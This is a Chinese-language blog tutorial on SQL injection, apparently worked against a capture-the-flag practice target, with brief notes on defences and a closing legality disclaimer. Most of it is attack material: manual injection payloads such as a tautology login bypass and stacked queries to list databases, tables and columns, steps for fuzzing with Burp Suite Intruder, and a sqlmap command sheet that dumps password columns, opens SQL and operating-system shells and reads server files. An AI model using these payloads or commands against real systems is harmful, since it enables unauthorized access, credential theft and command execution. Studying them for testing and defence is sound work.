首页 > 数据库 >sql注入漏洞简单讲解与实战

sql注入漏洞简单讲解与实战

时间:2024-04-11 14:33:52浏览次数:27  
标签:sqlmap SQL -- sql 漏洞 url 讲解 注入

SQL注入(SQL Injection)是一种常见的网络安全漏洞,攻击者利用该漏洞向应用程序的数据库发送恶意的SQL查询,从而绕过身份验证、获取敏感数据或者对数据库进行修改。SQL注入通常发生在与数据库交互的Web应用程序中,尤其是那些直接将用户输入拼接到SQL查询语句中的应用程序。

攻击者利用SQL注入漏洞时,常常通过在输入字段中插入SQL代码来干扰、扩展或篡改原始SQL查询的执行。这种攻击可以使攻击者获得未经授权的数据访问权限,例如用户凭证、个人信息或者敏感业务数据。在最严重的情况下,SQL注入可能导致整个数据库的破坏或者数据泄露事件。

为了防止SQL注入攻击,开发人员应采取一些安全措施,包括但不限于使用参数化查询、输入验证、编码输出、最小权限原则和安全漏洞扫描等。同时,定期审查和更新应用程序的代码以及使用Web应用程序防火墙等安全工具也是有效防御SQL注入攻击的重要措施。

常见的sql注入漏洞

方法一:手工注入

第一步:先看看是否有注入点(拿靶场为例子)

1' or '1' = '1

一个简单的万能密码也是爆出了很多东西,这种情况说明存在注入点。

第二步:开始查询数据库

可以通过分号注入多条sql注入语句,三段分号分为三段语句。

1';show databases;#

一下爆出这么多信息,一般在实际挖洞过程中到这一步可以止步了,因为可以避免不必要的麻烦。

第三步:爆表

0';show tables;#

中途要改参数,因为如果是1';show tabales;#会触发1';多爆出两段列表二里的内容,列表一般是从0开始,所以建议过程中还是改改参数,实施精准打击。

看看就因为第一个参数差距还是很明显的,爆出两个表后挨个挨个在看看里面藏了啥。

第四步:爆出表里的信息

0';show columns from `1919810931114514`;#

这里要普及一个知识点:表名为数字时,要用反引号把数值包括起来查询。(反引号在Esc下面那个键,要用shift切换至英文输入法状态)

还要查询下words表里的信息。

0';show columns from words;#

查询这些信息的内容

0';select flag from tables where columns = words;

但是这个靶场select被过滤掉了,但是实际情况可以这样写。

以上是简单的sql注入流程,但是能查到数据库就收手。

方法二:懒人法(fuzz模糊查询)

直接用burpsuite抓包跑字典,全程主打一个懒。(没有burpsuite的可以私聊我,99.99%的黑客都会使用到的工具

开始还是同样的步骤看是否有注入点。

鼠标右键选择intruder爆破。

先clear一下。

add添加到爆破模块。

点这里选择字典。

开干。

在看看不同的状态码。

出现这种报错,也可以说明有注入点。

这里说明select,updata,delect,drop,insert,where都是被过滤的对象。

接着就是重复步骤了,爆库,爆表,爆表信息。

爆表。

爆信息就可能要止步了,因为你不知道他的表内信息,前面的表名是因为写mysql时的默认参数,但考虑到很多情况,很多时候都是止步爆库。

方法三:sqlmap

我基本不使用sqlmap,虽然sqlmap很强大,但是有句话说的好,用sqlmap是没有灵魂的,多玩玩手工注入。

1.判断当前网站是否能被攻击(sql注入)
sqlmap -u 'url'
2.获得当前数据库
sqlmap -u 'url' --dbs 获得所有数据库
sqlmap -u 'url' --current-db 获得当前数据库
3.获得某个数据库里面的表信息
sqlmap -u 'url' -D jrlt  --tables
4.获得表的列信息
sqlmap -u 'url' -D jrlt  -T users --columns
5.获得具体的数据
sqlmap -u 'url' -D jrlt  -T users  -C password --dump
sqlmap -u 'url' -D jrlt  -T users  -C name,password --dump

 

扩展
sqlmap -u 'url' --sql-shell
弱密码爆破
sqlmap -u 'url' --password
执行系统命令
sqlmap -u 'url' --os-shell
读取文件
sqlmap -u 'url'  --file-read "D:\e.txt"
sql测试
sqlmap -u 'url' --dbs
sqlmap -u 'url' --dbs
 


本文章仅作为技术分享,请不要拿去做然后违法的事,后果既往不咎!!!

标签:sqlmap,SQL,--,sql,漏洞,url,讲解,注入
From: https://blog.csdn.net/Lenovoliao/article/details/137611884

相关文章

  • python计算机毕设【附源码】养老院管理系统(django+mysql+论文)
    本系统(程序+源码)带文档lw万字以上  文末可获取本课题的源码和程序系统程序文件列表系统的选题背景和意义选题背景:随着社会的快速发展,人口老龄化问题日益凸显。养老院作为为老年人提供居住、医疗、康复、娱乐等综合服务的场所,其管理水平和服务质量对老年人的生活质量有着......
  • Sqlite数据库使用教程
    1、在官网下载sqlite文件,然后在C盘创建一个文件夹C:\sqlite,将下载到的文件解压在此目录下,再将sqlite3加入环境变量,win+r,在命令提示框中输入sqlite3,查看环境是否完成。  sqlite3数据库环境完成后,开始学习命令操作。1、使用 .open命令创建数据库,并使用.databases查......
  • java+saas模式医院云HIS系统源码Java+Spring+MySQL + MyCat融合BS版电子病历系统,支持
    java+saas模式医院云HIS系统源码Java+Spring+MySQL+MyCat融合BS版电子病历系统,支持电子病历四级云HIS系统是一款满足基层医院各类业务需要的健康云产品。该产品能帮助基层医院完成日常各类业务,提供病患预约挂号支持、病患问诊、电子病历、开药发药、会员管理、统计查询、医......
  • Deep Deterministic Policy Gradient(DDPG)算法讲解笔记
    DDPGDeepDeterministicPolicyGradient,基于actor-critic模型提出了一个有效的valuebased连续型空间的RL算法,引入了一些帮助训练稳定的技术。基础:DQN,Batchnormm,Discretize,微积分backgroundDQN改进的推广Policybased方法(TRPO)已经在actionspace取得突破传统disc......
  • 【SQL】mysql数学函数功能介绍并举例
    mysql数学函数:ABS(x):返回x的绝对值。CEIL(x)或CEILING(x):返回大于或等于x的最小整数。FLOOR(x):返回小于或等于x的最大整数。ROUND(x,d):返回x四舍五入到小数点后d位的值。POW(x,y)或POWER(x,y):返回x的y次幂。SQRT(x):返回x的平方根。m......
  • 【SQL】mysql函数列表
    MySQL提供了大量的内置函数,用于处理各种数据类型和执行特定的操作。以下是一些主要的MySQL函数类别和其中的一些函数示例:数学函数ABS(x):返回x的绝对值。CEIL(x) 或 CEILING(x):返回大于或等于x的最小整数。FLOOR(x):返回小于或等于x的最大整数。ROUND(x,d):......
  • 基于SpringBoot+MySQL+SSM+Vue.js的餐馆订餐系统(附论文)
    演示视频基于SpringBoot+MySQL+SSM+Vue.js的餐馆订餐系统技术描述开发工具:Idea/Eclipse数据库:MySQLJar包仓库:Maven前端框架:Vue/ElementUI后端框架:Spring+SpringMVC+Mybatis+SpringBoot文字描述基于SpringBoot+MySQL+SSM+Vue.js的餐馆订餐系统(附论文),用......
  • mysql 删除表中重复的数据
    今天准备将有个表的指定2个字段设置成唯一约束索引,结果发现表中竟然存在重复数据的情况,于是就想着怎么删除重复的数据,最开始是网上找的方法,找到了几个方法,要么巨麻烦,要么巨慢,后来实在不行了,自己想了个办法,感觉挺好用的,具体思路是1,先创建该正式表的相同结构的空表2,然后给这个空......
  • 【附源码】JAVA计算机毕业设计小型家政服务管理系统的设计与实现(源码+mysql+文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:随着社会的快速发展和人们生活节奏的加快,家政服务行业应运而生,并迅速发展壮大。越来越多的家庭开始聘请家政人员来帮助处理家庭日常事务,如清洁、烹饪、......
  • openGauss与PostgreSQL对比测试SSL之自签名CA证书单向认证测试
    openGauss与PostgreSQL对比测试SSL之自签名CA证书单向认证测试本文测试自签名CA证书的单向认证:客户端只验证服务器证书的有效性,而服务器端不验证客户端证书的有效性。服务器加载证书信息并发送给客户端,客户端使用根证书来验证服务器端证书的有效性。服务端证书的客户......